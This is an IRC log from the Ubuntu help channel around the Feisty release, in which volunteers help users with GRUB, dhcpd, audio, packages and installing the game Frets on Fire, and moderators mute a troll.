[05:44] <eck> qiyong: it should be (that's what apt-cache tells me anyway)
[05:44] <x_or> Can anyone tell me what parameter to put into dhcpd.conf to specify the network inteface on which dhcpd should listen?
[05:44] <ubuntule> please can you give me a link ? and does it work from the ubuntu live cd ?
[05:44] <megafauna> ubuntule: you can downoad the disk and burn it with the live Ubuntu dvd/cd
[05:44] <gigel_> ola
[05:45] <eck> qiyong: i have: pool/main/i/initramfs-tools/initramfs-tools_0.85eubuntu10_all.deb (with the feisty prerelease)
[05:45] <conceited> x_or: what interface is your connection?
[05:45] <gigel_> quine abla espaiola
[05:45] <ubuntule> megafauna: a link ?
[05:45] <megafauna> MBR == Master Boot Record.
[05:45] <conceited> eth0/eth1 ?
[05:45] <ubuntule> i know
[05:45] <megafauna> ubuntule: /me googles it
[05:45] <x_or> conceited:  I am using eth1 for wireless, but I want to run a dhcpd server on eth0.
[05:45] <variant> gigel_: #ubuntu.es
[05:45] <conceited> hmm
[05:45] <x_or> conceited:  I found DHCPDARGS, but this looks to be deprecated I guess.
[05:45] <variant> !es | gigel_
[05:45] <ubotu> gigel_: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[05:46] <qiyong> eck is the package initramfs-tools specific or not?
[05:46] <megafauna> ubuntule: http://users.bigpond.net.au/hermanzone/SuperGrubDiskPage.html
[05:46] <conceited> x_or: now you want to host a dhcp server off your laptop?
[05:46] <mojojojo_> what games would you recommend?
[05:46] <variant> x_or: dhclient eth0
[05:46] <variant> x_or: sorry, ignore that completly
[05:46] <x_or> conceited:  Yes.
[05:46] <conceited> x_or: k i see
[05:46] <megafauna> ubuntule: how many optical drives do you have? (i.e. do you have a CD drive and a second drive for DVDs?)
[05:46] <eck> qiyong: update-initramfs is only provided by that package
[05:46] <ubuntule> Yes i do
[05:47] <variant> mojojojo_: airstrike is quite fun for a laugh
[05:47] <variant> megafauna: why don't you just tell him how to fix grub from the ubuntu live cd?
[05:47] <mojojojo_> and for online and free?
[05:47] <variant> mojojojo_: apt-get install airstrike
[05:47] <mojojojo_> variant: ?
[05:47] <Lin> hi all.. Im having problems while installing ubuntu with FAI. Cupsys package complains about ssl-cert and ssl-cert need /etc/ssl/private provided by openssl (but it already installed), any tips?
[05:47] <variant> !games | mojojojo_
[05:47] <ubotu> mojojojo_: Information about games on Ubuntu can be found on https://help.ubuntu.com/community/Games and http://www.icculus.org/lgfaq/gamelist.php and ubuntugames.org
[05:47] <conceited> i think this wlan is on dialup
[05:48] <megafauna> variant: i didn't know that could be done. this is what i did to fix it. pls tell us,
[05:48] <eck> qiyong: are you using debootstrap? i think that should just do it for you
[05:48] <megafauna> variant: i am a newb
[05:48] <sorcerer> is there a program in linux which acts like .. i-tunes .. like the album cover .. plug in that you can browse through the folders ?
[05:48] <Slart> sorcerer: amarok
[05:48] <Toma-> sorcerer: rhythmnbox does that
[05:48] <lfx> hi, can andybody tell my whay i cant compile C files? gcc drops me a line lib/stdio.h: No such file or directory ???
[05:48] <variant> megafauna: he wants to reinstall grub to the hard disk? or what?
[05:48] <michal_> it works! uhm... could you tell me what i've just done?
[05:48] <Slart> sorcerer: there are probably others too.. but amarok is one
[05:48] <megafauna> variant: i think that is what he said
[05:48] <qiyong> eck: yes, with debootstrap, but it can only do half the job, i'm installing amd64 from 32bit
[05:48] <elliotjhug> sorcerer: yeah, I like amarok, Rhythm Box doesn't do it quite as well IMHO..
[05:49] <nate_> Pad 1: /dev/input/js0
[05:49] <nate_> Permission denied
[05:49] <ubuntule> can i restore my master boot record with a windows milenium disk ? (it has DOS)
[05:49] <megafauna> variant he uninstalled ubuntu and now cant boot into xp
[05:49] <Toma-> lfx: try running 'sudo apt-get install build-essential' first
[05:49] <megafauna> variant: he has a split hd
[05:49] <variant> megafauna: from ubuntu live cd you can do a few things: grub-install /dev/hda (or whatever disk yo0u wan tto install to) or just "sudo grub" to get a grub shell from hwere you can reinstall grub
[05:49] <x_or> conceited:  Looking around?  You are my savior at this point.  :)
[05:49] <michal_> oh.. I get it now
[05:49] <sorcerer> elliotjhug: i have amorok .. but how do i turn it on .. i mean it shows .. the album that iam playing but i cant browse throught the albums .. i.e flip through them
[05:49] <variant> megafauna: how did he uninstall ubuntu?
[05:49] <megafauna> variant: idk
[05:49] <megafauna> variant: let's ask
[05:49] <variant> megafauna: find out? :)
[05:49] <michal_> thanks a lot for your help!
[05:50] <elliotjhug> sorcerer: ah... I don't think you can flip through em in amarok.., you can browse albums.. You meant like the iTunes fancy 3D thing?
[05:50] <megafauna> ubuntule: How did you uninstall ubuntu?
[05:50] <eck> qiyong: well if you search packages.ubuntu.com you can get a link for the appropriate .deb
[05:50] <lfx> Toma-:  ok i;ll try
[05:50] <sorcerer> elliotjhug: yeah the fancy thinh i mean hat else can you do in amorok thats fancy ?
[05:50] <megafauna> ubuntule: talk to Variant: he really knows what he is doing
[05:51] <x_or> conceited:  i think I figured it out, in /etc/default/dhcp I specify the interfaces....
[05:51] <variant> megafauna: thanks.. as if i am not distracted from work enough as it is :)
[05:51] <elliotjhug> sorcerer: very little.. I didn't realise thats what you meant. Let me google for a bit
[05:51] <megafauna> variant: and I should be looking for employment.
[05:52] <sorcerer> elliotjhug: thnx mate
[05:52] <elliotjhug> sorcerer: if you use banshee there is a plugin that does the coverflow
[05:52] <w0rmy> help ? :( I have a problem with apt-get
[05:52] <w0rmy> I can install anything
[05:52] <w0rmy> *cant
[05:52] <Lbawinowns> is there any good uci-engine interface for linux (chess related)
[05:52] <Cosmo_> in the nvidia-settings it is no longer showing my second monitor or letting me make adjustments to it like I was able to do before, how do I fix this?
[05:52] <elliotjhug> sorcerer: http://fleow.berlios.de/ its not great though by the looks of it
[05:52] <variant> Lbawinowns: gnuchess any use?
[05:52] <qiyong> eck: You have searched for the contents of initram in feisty, architecture i386.
[05:52] <qiyong> Can't find that package, at least not in that distribution and on that architecture.
[05:53] <sorcerer> elliotjhug: cant acees the server
[05:53] <Lbawinowns> variant: is it in synaptic?
[05:53] <chexay> hi, can someone help me install a .tar?
[05:53] <elliotjhug> sorcerer: ack.. I'll keep looking again
[05:53] <variant> Lbawinowns: should be
[05:53] <kraut> everybody put the beer into the fridge for the party tomorrow?
[05:53] <variant> chexay: what is the program you wish to install?
[05:53] <warior> Ok there is probably problem with teamspeak what i can set up? there is oss /dev/dsp but i want alsa what should i write in?
[05:53] <chexay> frets on fire
[05:54] <chexay> its a pc version of guitar hero
[05:54] <Lbawinowns> thanks, variant :)
[05:54] <eck> qiyong: http://packages.ubuntu.com/feisty/utils/initramfs-tools
[05:54] <carcosa> chexay I have one of those programs
[05:54] <carcosa> it's called Cubase
[05:54] <elliotjhug> sorcerer: looks like that it.. I could connect to it a moment ago. Odd that I can't now. try again later maybe
[05:54] <jose__> alguem sabe como fao para istalar o skyo no ubuntu 5.4
[05:54] <kILLu> hi
[05:54] <chexay> guitar hero is a game
[05:54] <eck> qiyong: oh, i think searching package contents is kind of borked on packages.ubuntu.com
[05:55] <Lurky2000> hey guys
[05:55] <sorcerer> whast the plug in called or what ever i can google it
[05:55] <Lurky2000> ... and girls
[05:55] <drew> when is 7.04 going up on ftp's? is it tonight after midnight?
[05:55] <eck> qiyong: if you want to do that you should use apt-file, the "search package directories" thing works fine though
[05:55] <kILLu> im new to ubuntu, whats the difference between the multiverse and universe in synaptic and why is there no vlc media player
[05:55] <chexay> sorcerer: me?
[05:55] <Lurky2000> omg, 1133 people in the channel
[05:55] <elliotjhug> sorcerer: caled fleow
[05:55] <eck> kILLu: multiverse is nonfree software
[05:55] <jose__> alguem sabe como fao para istalar o skyo no ubuntu 5.4
[05:56] <Mike> Someone help me please :)
[05:56] <sorcerer> elliotjhug: in amorok right  fleow
[05:56] <jose__> alguem sabe como fao para istalar o skyo no ubuntu 5.4
[05:56] <kILLu> ah ok
[05:56] <nate_> can anyone out their help with snes9x
[05:56] <variant> chexay: did you download this: http://switch.dl.sourceforge.net/sourceforge/fretsonfire/FretsOnFire-1.2.451-linux.tar.gz
[05:56] <eck> !multiverse
[05:56] <ubotu> The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[05:56] <elliotjhug> sorcerer: no, its for banshee
[05:56] <kILLu> and why is vlc not in the list? i want to install vlc
[05:56] <nate_> can anyone out their help with snes9x and setting up controllers
[05:56] <dc> does anyone know how to connect to an itunes shared music on another computer on my network y?
[05:56] <chexay> yes
[05:56] <chexay> i tried to 'make'
[05:56] <variant> chexay: in the directory containing that file run this command: tar xvzf FretsOnFire-1.2.451-linux.tar.gz
[05:56] <jose__> alguem sabe como fao para istalar o skyo no ubuntu 5.4
[05:57] <variant> chexay: then tell me what happens
[05:57] <eck> kILLu: i think vlc has some binary wrapper layer around the windows drivers so it is not "free", which is why it is only in multiverse
[05:57] <sorcerer> elliotjhug: see i have issues with banshee
[05:57] <crimsun> eck: err...
[05:57] <elliotjhug> sorcerer: odd... such as?
[05:57] <variant> eck: it does not in any way include binary software
[05:57] <crimsun> eck: what's in multiverse?
[05:57] <sorcerer> man like playing mysic right .. it gives me and eror and whne i close the erros .. it screws up
[05:57] <variant> eck: it has reverse enginered codecs whihc are covered by patents in some countries
[05:58] <sorcerer> elliotjhug: like shuts downs .. and what not
[05:58] <eck> i see
[05:58] <dc> does anyone know how to connect to an itunes shared music on another computer on my network?
[05:58] <eck> does it not use w32codecs?
[05:58] <crimsun> eck: I know for a fact that vlc isn't in multiverse (that package falls under my maintenance)
[05:58] <variant> eck: no
[05:58] <Lurky2000> umm... anyone had POSITIVE experiences with ATI Radeon Mobility drivers on 7.04?
[05:58] <elliotjhug> sorcerer: Sorry can't help you with that. Try asking the channel
[05:58] <variant> Lurky2000: well, my radeon 7000 works perfectly..
[05:58] <chexay> i got an error
[05:58] <sorcerer> thats cool amorok is doing good for now
[05:58] <variant> chexay: what is the error?
[05:58] <Lurky2000> variant: you've got all that 3D stuff working?
[05:59] <MarcN> dc: look at rhythmbox
[05:59] <variant> Lurky2000: yes
[05:59] <Lurky2000> oO
[05:59] <Mike> Someone want $45 to fix my PC?
[05:59] <elliotjhug> Mike: Whats the problem?
[05:59] <Lurky2000> ooook... so I guess I need to do some more reading
[05:59] <variant> Lurky2000: please take feisty questions to #ubuntu+1 anyway
[05:59] <dc> Mike: what is wrong
[05:59] <Lurky2000> kk.. thanks
[05:59] <dc> MarcN: is it in there?
[05:59] <variant> Lurky2000: worked out of the box for me, what version is your card?
[06:00] <Lurky2000> laptop.. 9600.. it works, just not with 3D or any kind of accelaration... I'll check out ubuntu+1
[06:00] <Lurky2000> thanks guys
[06:00] <kILLu> when i select resolution i can only select 60 hz :O
[06:00] <dc> MarcN: theres no shared playlist
[06:00] <smartman> !mp3
[06:00] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[06:00] <sorcerer> hey what do you guys suggest i do .. i just installed ubuntu and hwat not and i love with the Os soo muich stabel and what not can anyone tell me what porgrams i should have installed and what not i used to with windows ... i have all the codecs ... installed beryl, avant windows navigator and screenlets and also found out ways ..to download from .. newsgroups and also .. torrents .. and stuff anything else i should be doing or lea
[06:00] <sorcerer> rning or installing ??
[06:00] <variant> Lurky2000: 9600 is not fully suported by the free drivers yet.. some support but not feature complete like 9200 and under
[06:00] <MarcN> dc: rhythmbox is a player that can also play music served from a local itunes program.  Check to see if iTunes is setup to share.
[06:00] <chexay> variant:paste.ubuntu-nl.org/16260/
[06:00] <Lurky2000> ic... thanks Variant :)
[06:01] <Lurky2000> bb guys.. off to the other channel
[06:01] <kILLu> how can i make the refresh rate higher than 60 hz ? my eyes hurt
[06:01] <variant> chexay: yes, have you already extracted it then?
[06:01] <chexay> yes i have
[06:02] <variant> chexay: i see.. you should have said :)
[06:02] <StOORm> how to restrat Zope server ?
[06:02] <chexay> lol
[06:02] <chexay> sorry
[06:02] <variant> chexay: please pastebin the output of ls -al in that same directory
[06:02] <dc> MarcN: my roommates itunes is setup to share
[06:02] <dc> MarcN: where do i go in rhythembox
[06:02] <superkirbyartist> When is Feisty coming?
[06:02] <larry_> Hi
[06:02] <variant> StOORm: is there an initscript? i don't use zope my self. it runs under apache right? so just restart apache?
[06:02] <Pici> superkirbyartist: Tomorrow.
[06:03] <larry_> I am having serious trouble with  my dapper install
[06:03] <superkirbyartist> Pici: Well what time, and what timezone?
[06:03] <variant> dc: apt-get install rhythembox
[06:03] <larry_> it keeps hanging at random times
[06:03] <dc> variant: i have rhythembox installed already
[06:03] <larry_>  and a dist-upgrade gives a kernel panic
[06:03] <chexay> variant: http://paste.ubuntu-nl.org/16261/
[06:03] <kILLu> how can i raise the vsync rate?
[06:03] <variant> dc: sorry, miss read. thought you said "to get rhythmbox"
[06:03] <kILLu> 60 hz hurts my eyes
[06:03] <superkirbyartist> What time will Ubuntu be released?
[06:03] <sorcerer> is it required that .. i installed a firewall for ubuntu ?
[06:03] <dc> variant: oh thanks anyway :)
[06:03] <larry_> I dont know how long my system will stay up this time
[06:04] <superkirbyartist> Midnight?
[06:04] <larry_> can anyone help me?
[06:04] <variant> chexay: ok,  you have downloaded the source code whihc i can help you compile but there is a binary installer you would be better with
[06:04] <superkirbyartist> What time?
[06:04] <kevinOoO> hello, I am having trouble connecting to a windows share
[06:05] <chexay> variant: i just clicked the 'dowload full linux version link', could you please link me to the binary?
[06:05] <kILLu> can anyone tell my how to raise the refresh rate beyond 60 hz? my eyes hurt
[06:05] <variant> chexay: actualy, that does seem to be the binary as well. run this in that directory: ./fretsonfire.bin
[06:05] <kevinOoO> I click connect to server, choose windows share, enter the ip, for share i choose c (which is a shared folder) and it will not connect
[06:06] <dc> does anyone know how to connect to an itunes shared music on another computer on my network?
[06:06] <variant> chexay: sorry: ./FretsOnFire.bin
[06:06] <variant> chexay: it is case sensitive
[06:06] <Nergar> how do i contact freenode IRCops?
[06:06] <dasm1> I am having a problem with the Battery Charge Monitor panel button.  When I add it, I get the error: "Can't access ACPI events in /var/run/acpid.socket! Make sure the ACPI subsystem is working and the acpid daemon is running."  ACPI works as a command in the terminal and I read something about using; kill -HUP <process-id> to restart, but am unsure exactly if that will solve the problem. (as a restart of the system hasn't affected
[06:06] <dasm1>  it)
[06:06] <variant> Nergar: ask in #help or #freenode or something
[06:06] <chexay> variant: cannot execute binary file
[06:06] <kevinOoO> dc  under places have you tried connect to server
[06:07] <variant> chexay: run this first then: chmod +x FretsOnFire.bin
[06:07] <smartman_> !LAMP
[06:07] <ubotu> LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)
[06:07] <juckum> when i boot with an ubuntu install boot cd, which launch option do i choose to run ubuntu from livecd?
[06:07] <variant> chexay: then try again
[06:07] <superkirbyartist> Ubuntu is spyware!
[06:07] <variant> juckum: install
[06:07] <Nergar> #freenode sux, the leave u waiting for hours before they voice u
[06:07] <superkirbyartist> It spies on you!
[06:07] <superkirbyartist> It knows all you do on the web!
[06:07] <juckum> the one on the top, variant?
[06:07] <dc> kevinOoO: the problem is that i dont necissarily have the ip's and port numbers to do that with
[06:07] <variant> juckum: yep
[06:07] <nate_> could anyone help me with getting access to /dev/input/js0 for snes9x??
[06:07] <Nergar> i think there is a command to see a list of IRCops
[06:08] <juckum> ok!
[06:08] <StOORm> variant:thanx it was like apache : sudo /etc/init.d/zope2.9 restar
[06:08] <chexay> variant: same
[06:08] <kevinOoO> dc go to the pc with the share and get the ip, what os is it running?
[06:08] <crimsun> Nergar: /stats p
[06:08] <larry_> if nobody can help me can you point me in the direction of someone/somewhere that can help? the ubuntu forums do not seem to have threads describuing my problem!
[06:08] <variant> chexay: thats odd. please pastebin the command you ran and the exact output
[06:08] <superkirbyartist> Ubuntu is a spyware.
[06:08] <Mike> Ive installed my wlan yesterday,and it was working fine. I started it up today and i cant connect, I need to add it to services I think. $45 to who ever gets this working fine.
[06:08] <superkirbyartist> My internet is slow.
[06:08] <chexay> sorry
[06:08] <chexay> mistake
[06:08] <Toma-> can you get flash/java/wine all running under a 64bit install now?
[06:08] <dc> kevinOoO: these computers are all over my dorm, in peoples rooms that i have no clue who they are.  maybe osx or windows xp/vista
[06:09] <lolman> superkirbyartist, care to explain why?
[06:09] <elliotjhug> superkirbyartist: you what.. ubuntu is a spyware... yeah... great. I see all of my information dissapearing to canonical's servers
[06:09] <variant> superkirbyartist: please troll elsewhere
[06:09] <kevinOoO> dc you will need an ip
[06:09] <superkirbyartist> !troll
[06:09] <ubotu> Sorry, I don't know anything about troll - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:09] <PriceChild> superkirbyartist, please stop :)
[06:09] <kevinOoO> dc as far as I know
[06:09] <superkirbyartist> !spyware
[06:09] <ubotu> Sorry, I don't know anything about spyware - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[06:09] <zanexx297> hello again
[06:09] <docgnome> Does anyone know if the Linksys WMP54G works with WPA under Ubuntu?
[06:09] <larry_> can someone please help me???
[06:09] <larry_> anyone at all?
[06:10] <variant> larry_: just ask your question
[06:10] <larry_> I did
[06:10] <larry_> 5 time
[06:10] <dc> kevinOoO: i would, but itunes generally searches the network for those who are sharing.  I cant even run itunes, can i?
[06:10] <chexay> variant: http://paste.ubuntu-nl.org/16264/
[06:10] <nate_> could anyone help me with getting access to /dev/input/js0 for snes9x??
[06:10] <larry_> dapper keeps hanging intermittantly
[06:10] <Mike> Anyone want that $45?
[06:10] <larry_> I have no idea why
[06:10] <superkirbyartist> Yes please Mike.
[06:10] <variant> larry_: ok, am just helping chexay. i will get back to you in a momment
[06:10] <Mike> Fix my problem then ;)
[06:10] <larry_> nothingin /var/log/messages indicates why
[06:10] <superkirbyartist> I need an antispyware for Linux.
[06:10] <superkirbyartist> Please help me.
[06:11] <gnomefreak> superkirbyartist: now if you are staying in here please stick to suuport requests or answers
[06:11] <kevinOoO> dc im not familiar with itunes
[06:11] <PriceChild> !virus | superkirbyartist
[06:11] <ubotu> superkirbyartist: A/V software is available, however read this to understand why Linux does not have a virus problem: http://librenix.com/?inode=21
[06:11] <superkirbyartist> GnomeFreak is there an antispyware for Linux?
[06:11] <variant> chexay: run chmod +x ./FretsOnFire.bin
[06:11] <gnomefreak> superkirbyartist: no
[06:11] <FunnyLookinHat> superkirbyartist, no there is not because there is no need.
[06:11] <Toma-> superkirbyartist: theres no spyware in linux
[06:11] <superkirbyartist> I'll download SpySheriff.
[06:11] <nalioth> superkirbyartist: why would you need any?
[06:11] <warior> Please can anyone tell where is alsa situated in /dev ??????????
[06:11] <Mike> Someone help me! :( I need to fix my wifi soon
[06:11] <Toma-> warior: /dev/dsp
[06:11] <variant> warior: alsa is not in /dev
[06:11] <stdin> superkirbyartist: it's not needed, not unless you serve windows clients
[06:12] <kevinOoO> dc under places, try clicking network servers and see if any computers show up
[06:12] <crimsun> warior: what portion of alsa are you referring to?
[06:12] <variant> Toma-: thats an oss interface, not alsa
[06:12] <warior> crimsun parition?
[06:12] <crimsun> (an oss interface that alsa provides via emulation, yes)
[06:12] <warior> crimson portion?
[06:12] <chexay> variant: and then ./FretsOnFire.bin?
[06:12] <variant> crimsun: if you have oss emulation support.. but thats not what he asked and he may not even have a /dev/dsp
[06:12] <superkirbyartist> Why can't I install Mac OS 9 and Ubuntu on the same computer?
[06:12] <crimsun> warior: "alsa" has distinct parts. To which are you referring?
[06:12] <variant> chexay: yes
[06:12] <superkirbyartist> Why are they deprecating Ubuntu for PowerPC?
[06:13] <crimsun> variant: he will on a default Ubuntu install. I make sure of that.
[06:13] <chexay> variant: same. =/
[06:13] <nate_> ?
[06:13] <variant> chexay: ah, i just tried it my self :)
[06:13] <variant> chexay: run ./FretsOnFire
[06:13] <variant> chexay: and it will work :D
[06:13] <variant> chexay: seems like a cool prog
[06:13] <variant> :)
[06:14] <ocx32> anyone expert with heartbeat?
[06:14] <superkirbyartist> !Windows XP Professionnal
[06:14] <ocx32> i got a loooovely project
[06:14] <zanexx297> hey guys i reloaded ubuntu but now when i try install ntfs-3g through terminal it says it cant access /usr/bin/dpgk or something like that.i had a look and i cant find it pls help.
[06:14] <superkirbyartist> !Windows
[06:14] <ubotu> For help with Microsoft Windows, please visit ##windows or your nearest mental health institute. See http://launchpad.net/distros/ubuntu/+bug/1 http://linux.oneandoneis2.org/LNW.htm and !equivalents
[06:14] <warior> crimsun i want to run my microphone and loudspeakers in teamspeak
[06:14] <gnomefreak> superkirbyartist: you were asked to stop that
[06:14] <blackelfo_> hi people
[06:14] <nate_> why is linux so hard:(
[06:14] <crimsun> warior: with which audio chipset?
[06:14] <chexay> variant: chexay@chexay-powerbook:~/Frets/FretsOnFire$ chmod +x FretsOnFire.bin
[06:14] <chexay> chexay@chexay-powerbook:~/Frets/FretsOnFire$ ./FretsOnFire.bin
[06:14] <chexay> bash: ./FretsOnFire.bin: cannot execute binary file
[06:14] <chexay> chexay@chexay-powerbook:~/Frets/FretsOnFire$
[06:15] <warior> crimsun intel ICH7 think so
[06:15] <variant> chexay: just run ./FretsOnFire no .bin
[06:15] <ocx32> ?
[06:15] <vieirar> Hi my company uses M$ AD as its addressbook. Is there a tool that will allow me to query AD for a users Phone # or e-mail address?
[06:15] <superkirbyartist> That wasn't nice what Ubotu said.
[06:15] <kevinOoO> !windows
[06:15] <chexay> sorry, didnt mean to paste all of it
[06:15] <kevinOoO> lol
[06:15] <ubotu> For help with Microsoft Windows, please visit ##windows or your nearest mental health institute. See http://launchpad.net/distros/ubuntu/+bug/1 http://linux.oneandoneis2.org/LNW.htm and !equivalents
[06:15] <variant> chexay: my mistake, sorry
[06:15] <crimsun> warior: http://www.linux-sound.info/alsa/scripts/alsa-info.sh
[06:15] <blackelfo_> someone here have a laptop with radeon express 200m..?
[06:15] <stdin> !paste | chexay
[06:15] <Mike> $45 to anyone who fixes my wifi
[06:15] <Dasnipa`> chexay, sudo a+x FretsOnFire.bin
[06:15] <ubotu> chexay: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[06:15] <crimsun> warior: tell me the url.
[06:15] <Toma-> try 'sh FretsOnFire.bin'
[06:15] <variant> Toma-: thats the same thing as running ./FretsOnFire
[06:15] <nate_> maybe i need to offer money as well >_<
[06:15] <variant> Toma-: and the .bin is not required
[06:16] <jonah> hi guys i'm running vmware, i've got windows xp running in it on top of ubuntu., do i need to install virus protection still on windows even though it's just in vmware? may sound like a silly quesiton but i'm unsure?
[06:16] <gnomefreak> superkirbyartist: you are now muted for 10 minutes. you were warned about trolling already.
[06:16] <chexay> variant: http://paste.ubuntu-nl.org/16266/
[06:16] <Dr_willis> jonah,  proberly a good idea. IF you are going to be doing a lot of websurfing/other things with that xp install.
[06:16] <blackelfo_> jonah: use pc-cillin of trendmicro
[06:16] <gnomefreak> !msg the bot > superkirbyartist
[06:16] <nate_> could anyone help me with getting access to /dev/input/js0 for snes9x??
[06:16] <variant> chexay: strange, works for me
[06:16] <mekka> ola atodos
[06:16] <Dr_willis> jonah,  just because its in vmware - dosent make it immune to those things. I perfer "AVG" anti virus (free)
[06:17] <Pici> !es | mekka
[06:17] <stdin> jonah: well, all a virus would do is mess up the windows install in vmware, you'll still have ubuntu
[06:17] <ubotu> mekka: Si busca ayuda en Espaol por favor entre en los canales #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendr mas ayuda.
[06:17] <variant> chexay: download the exact link that i gave you and try again. that way we at least have the exact same file
[06:17] <mekka> ola pici
[06:17] <variant> chexay: do you have 3d acceleration?
[06:17] <chexay> variant: as far as I know
[06:17] <capgadget> How many more hours/minutes/seconds until 7.04 if official?   The beta looks slick in vmware.  I'm tempted to make Fedora my 2nd Linux.
[06:17] <warior> crimsun http://pastebin.ca/446627
[06:17] <Mike> anyone know if theres like an aero feature you could add on to ubuntu?
[06:17] <chexay> variant: can you link me again?, I cant scroll up for some reason
[06:17] <stdin> capgadget: it's due tomorrow
[06:17] <variant> Mike: yes, it's called beryl ask in #ubuntu-effects
[06:18] <Mike> ok
[06:18] <big_bang14> does anybody know if it would it be ok to try out linux bios if you had a way of reinstalling you bios?
[06:18] <jonah> is AVG better than avast home?
[06:18] <Mike> How do I change channels?:P
[06:18] <variant> chexay: http://switch.dl.sourceforge.net/sourceforge/fretsonfire/FretsOnFire-1.2.451-linux.tar.gz
[06:18] <blackelfo_> jonah: yes is good
[06:18] <variant> chexay: make sure you remove the other old directory
[06:18] <crimsun> warior: that codec+dsp do not support what you want to do with TS.
[06:18] <Pici> Mike: /join #mynewchannel
[06:18] <variant> chexay: once you untar it simply run ./FretsOnFire (no need to chmod it or use the .bin)
[06:18] <Pici> Mike: Or whatever the channel name is
[06:19] <variant> chexay: and it should work, works here on feisty
[06:19] <capgadget> Not sure jonah.  I had a trojan get past kerio which had McAfee and past Avast.  Took a week to clean out.  I really like Avast, but I use AVG on an old P2 laptop.
[06:19] <chexay> variant: thanks a lot, I'll let you know how it goes
[06:19] <variant> chexay: np, good luck
[06:19] <variant> chexay: maybe you can tell me how you are supposed to play the damn thing :)
[06:19] <chexay> tnx
[06:19] <variant> chexay: once you got it working
[06:19] <warior> crimsun i would like to run it normally because cedega tests run good, everything is ok, but when i turn on TS sound tests in cedega fails
[06:19] <Paul_UK> ahhhhhhhhhhhhhhhhh when is 7.04 out? :P
[06:19] <chexay> haha
[06:19] <capgadget> clamav found the critter.
[06:20] <ocx32> anyone expert with heartbeat?
[06:20] <chexay> variant: it plays a song and you have play the guitar part of the song
[06:20] <capgadget> Norton/Avast/McAfee had no clue.
[06:20] <stdin> Paul_UK: read the topic of #ubuntu+1
[06:20] <variant> chexay: with the keys?
[06:20] <crimsun> warior: right, that's because your hardware doesn't support it, and neither does TS's use of the oss api
[06:20] <Paul_UK> stdin: it as a bit of a joke
[06:20] <Paul_UK> has anyone installed ubuntu server with an HP Proliant DL360/380 server and enabled HP Nic Teaming / Nic Bonding
[06:20] <variant> chexay: or you need some fancy computer/guitar setup?
[06:20] <lanica> Hello all
[06:20] <chexay> variant: yes, with the keys, im not sure what they are, I think the default are the 'f' keys and enter
[06:20] <kevinOoO> hello lanica
[06:21] <warior> crimsun it means that i cant use TS in the same time with cedega>
[06:21] <variant> Paul_UK: yes, but without the teaming.. whats the problem u have?
[06:21] <big_bang14> does anybody know if it would it be ok to try out linux bios if you had a way of reinstalling you bios?
[06:21] <crimsun> warior: without purchasing another audio device? correct.
[06:21] <lanica> I'm trying to find the config.nice file for apache-2.0.55-4ubuntu4 -- any idea how to find it or where its at?
[06:21] <Paul_UK> variant, want to know if you can enable nic teaming, i have a switch which supports trunking
[06:21] <warior> crimsun yes
[06:21] <chexay> variant: the f keys correspong to the color of the tabs on the scrolling thing, and enter is to play the seleceted 'note'
[06:21] <TheLive1> i was able to see all the (windows) machines on my network earlier this week and now they dont even display? nothing has changed
[06:21] <warior> crimsun its bad :D very bad :P
[06:21] <variant> big_bang14: yes, if you have a bios that you can flash
[06:21] <PriceChild> !away > Hidan|Shower
[06:22] <variant> big_bang14: check if your mobo is supported
[06:22] <TheLive1> using nautilus
[06:22] <jonah> ok guys, and when i use photoshop or whatever in xp, how do i save files across to ubuntu?
[06:22] <big_bang14> variant, is there anything that could go wrong?
[06:22] <variant> Paul_UK: you can enable teaming yes. definatly
[06:22] <variant> big_bang14: lots..
[06:22] <kevinOoO> lanica have you tried "locate config.nice" ?
[06:22] <variant> big_bang14: this is probably not the best place to ask and i have never done it so am not the best person either
[06:22] <big_bang14> variant, even if i had a backup bios?
[06:22] <Paul_UK> variant, enabled with a gui or you have to edit config files?
[06:23] <lanica> kevinOoO: Uhm, no.  I can't find it in the source downloaded from ubuntu's website ... its supposed to be bundled with it.
[06:23] <big_bang14> variant, where would be the best place to ask?
[06:23] <chexay> variant: http://www.youtube.com/watch?v=2yhn_TDc1zk
[06:23] <variant> Paul_UK: it's not a guy task unfortunatly
[06:23] <Paul_UK> variant: hehe thought so
[06:23] <variant> big_bang14: no idea, not done it
[06:23] <variant> Paul_UK: http://www.howtoforge.com/nic_bonding
[06:23] <Paul_UK> variant: yeah i got that
[06:23] <variant> Paul_UK: for debian that, should work same in ubuntu
[06:24] <TheLive1> jonah, you can essentially save it anywhere. if your /home is partitioned to a readable windows partition (FAT,FAT32) you can write to it, or ext3 with a plugin download from the web
[06:24] <variant> chexay: cooooool
[06:24] <Mike> How do I add my wlan0 to services?
[06:24] <lanica> kevinOoO: I suppose its that I downloaded the wrong package
[06:24] <chexay> variant: yea, I almost bought a ps2 just to play but then I found this =D
[06:25] <variant> chexay: thanks for showing me the program :D
[06:25] <kevinOoO> lanica, have you installed apache 2 already?
[06:25] <lanica> yes
[06:25] <chexay> variant: no worries, thanks for tellin me how to install the damn thing ^^] 
[06:26] <lanica> using apt-get install apache2
[06:26] <variant> chexay: is there a usbguitar or something u can get for playing it?
[06:26] <docgnome> Does anyone know if the Linksys WMP54G suppports WPA under Ubuntu?
[06:26] <Toma-> chexay: you could use the guitar controller with the gamecon driver and joy2key
[06:26] <chexay> variant: yes there is, theres a guitar for the xbox360 which is usb, and theres one for the ps2 you can use with an adapter
[06:27] <Toma-> and a bit of plug hacking or a PS2 - > USB adapter
[06:27] <trypticon> does ubuntu support i586 processors?  can I install ubuntu on a system with a AMD K6-2 500mhz proc?
[06:27] <variant> trypticon: of course
